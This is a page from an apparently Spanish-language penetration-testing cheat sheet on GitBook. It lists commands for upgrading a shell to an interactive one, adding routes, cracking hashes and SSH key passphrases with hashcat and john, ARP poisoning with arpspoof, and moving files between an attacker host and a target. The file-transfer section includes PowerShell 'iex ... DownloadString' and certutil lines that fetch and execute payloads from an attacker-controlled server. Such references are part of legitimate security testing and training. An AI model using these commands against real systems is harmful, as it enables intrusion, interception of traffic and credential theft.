🏴‍☠️
Cheat Sheet
  • Pentesting Infraestructura
    • Information Gathering
  • Recopilación de información
  • Escaneo
  • Enumeración
  • Evaluación de vulnerabilidad
  • Explotación
    • Explotación de Entornos Windows
    • Explotación de Entornos Linux
    • Conexión remota
  • Post Explotación
    • Escalación de Privilegios en entornos Windows
    • Persistencia en entornos Windows
    • Escalación de Privilegios en entornos Linux
    • Pivoting
  • Misceláneos
  • Pentesting Web
    • Information Gathering
      • Passive Information Gathering
      • Active Information Gathering
    • Vulnerabilidades
      • Cross-Site Scripting (XSS)
        • Reflected XSS
        • Stored XSS
      • SQL Injection (SQLi)
        • Cheat Sheet SQLi
        • Atacando la vulnerabilidad SQLi
        • SQLMap
Powered by GitBook
On this page
  • Tratar shell para obtener shell interactiva
  • Networking
  • Cracking
  • MiTM
  • ARP Poisoning
  • Descargar Archivos
  • Windows
  • Servidores Web

Misceláneos

Tratar shell para obtener shell interactiva

Python

python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'

Perl

perl -e 'exec "/bin/bash";'
# Opción dentro de Perl
perl: exec "/bin/bash";

System

echo os.system('/bin/bash')
/bin/bash -i
/bin/sh -i

Ruby

ruby: exec "/bin/bash"

Lua

os.execute('/bin/bash')

IRB

# Opción dentro de IRB
exec "/bin/bash"

Vi

# Primera opción dentro de Vi
:!bash
# Segunda opción dentro de Vi
:set shell=/bin/bash:shell

NMAP

# Shell interactiva de NMAP (versiones 2.02 a 5.21): nmap --interactive
!sh
python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
stty raw -echo; fg
reset
xterm
export TERM=xterm-256color
export SHELL=bash
stty rows 52 columns 187

Networking

  • Linux:

ip route
route -n
  • Windows:

route print
  • macOS:

netstat -r
  • Linux:

ip route add NETWORK via GW dev INTERFACE
ip route add 172.16.0.0/16 via 192.168.1.1 dev eth0
ip route add deafult via 192.168.1.1 dev eth0
  • Windows:

route add NETWORK mask MASK GW
route add 192.168.35.0 mask 255.255.255.0 192.168.1.1

Cracking

Luego de tener Hashcat y CUDA instalados, ejecutamos un benchmark para optimizar los crackeos:

hashcat -b
hashcat -m <HASH_ID> -a 0 hash.txt rockyou.txt
  • -a 0 corresponde a un ataque de diccionario

hashcat -m <HASH_ID> -a 0 hash.txt rockyou.txt -O -r rules/OneRuleToRuleThemAll.rule --debug-mode=1 --debug-file=matched.rule
  • -O optimiza el performance del crackeo, pero limita el resultado a 32 caracteres

  • -r rules/OneRuleToRuleThemAll.rule --debug-mode=1 --debug-file=matched.rule indicamos que usaremos dichas reglas para mejorar la busqueda con el diccionario que tenemos

El archivo OneRuleToRuleThemAll.rule debe estar almacenado en el directorio rules dentro de la carpeta de Hashcat

Si esto no funciona, usamos fuerza bruta:

hashcat -m <HASH_ID> -a 3 hash.txt -O
  • -a 3 indicamos que realizaremos un ataque de fuerza bruta

Cracking SSH Private key passphrase

ssh2john id_rsa > id_rsa.hash
john id_rsa.hash -wordlist=/usr/share/wordlists/rockyou.txt

Cracking hash LM/NTLMv1

john --format=netlm hashpwd_netntlm

MiTM

ARP Poisoning

Este ataque permite interceptar tráfico de una red manipulando la tabla ARP de los demás (ataque man-in-the-middle, MITM). El ataque se logra enviando mensajes Gratuitous ARP Replies (mensajes ARP Reply no solicitados).

El atacante puede evitar que el envenenamiento expire un mensaje Gratuitous ARP Reply cada 30 segundos (por ejemplo).

ARPspoof

Arpspoof es una herramienta de la colección Dsniff, la cual, permite realizar ataques de ARP spoofing.

arpspoof -i [interface] -t [target] -r [host]
  • Ataque usando ARPspoof

Habilitar reenvío de paquetes:

echo 1 > /proc/sys/net/ipv4/ip_forward

Lanzar ARPspoof:

arpspoof -i eth0 -t 192.168.1.12 -r 192.168.1.30

Descargar Archivos

Windows

  • Máquina atacante:

python3 /usr/share/doc/python3-impacket/examples/smbserver.py tmp .
  • Máquina Windows:

copy \\<ip_attack_machine>\tmp\<file_name> <local_path>

Descargar en memoria

  • Servidor web en Python:

sudo python3 -m http.server <port>
  • Descarga usando PowerShell:

iex (New-Object Net.WebClient).DownloadString("http://<ip_attack_machine:port>/<file_name>")
  • Descarga usando PowerShell usando CMD:

powershell.exe iex (New-Object Net.WebClient).DownloadString('http://<ip_attack_machine:port>/<file_name>')

Tener en cuenta que si descargamos directo desde PowerShell, debemos usar comillas dobles, y desde una terminal de Windows, usamos comillas simples.

Descargar en disco

  • Servidor web en Python:

sudo python3 -m http.server <port>
  • Descarga usando PowerShell:

$downloader = New-Object System.Net.WebClient
$payload = "http://<ip_attack_machine:port>/<file_name>"
$local_file = "C:\Temp\payload.exe"
$downloader.DownloadFile($payload,$local_file)
  • Servidor web en Python:

sudo python3 -m http.server <port>
  • Descarga usando PowerShell:

certutil -urlcache -split -f http://<ip_attack_machine:port>/<file_name> <file_paht\file_name>

Servidores Web

Python2:

python -m SimpleHTTPServer 7331

Python3:

python3 -m http.server 7331
php -S 0.0.0.0:8000
ruby -run -e httpd . -p 9000
busybox httpd -f -p 10000
PreviousPivotingNextInformation Gathering

Last updated 2 years ago

Lo primero es instalar CUDA en nuestro PC, el enlace es el .

Reiniciamos la maquina y descargamos .

Con el benchmark terminado, ejecutamos un cracking usando :

Si no funciona, usamos rockyou.txt con :

CrackStation
Hashes
ID de Hashes a crackear
siguiente
Hashcat
rockyou.txt
reglas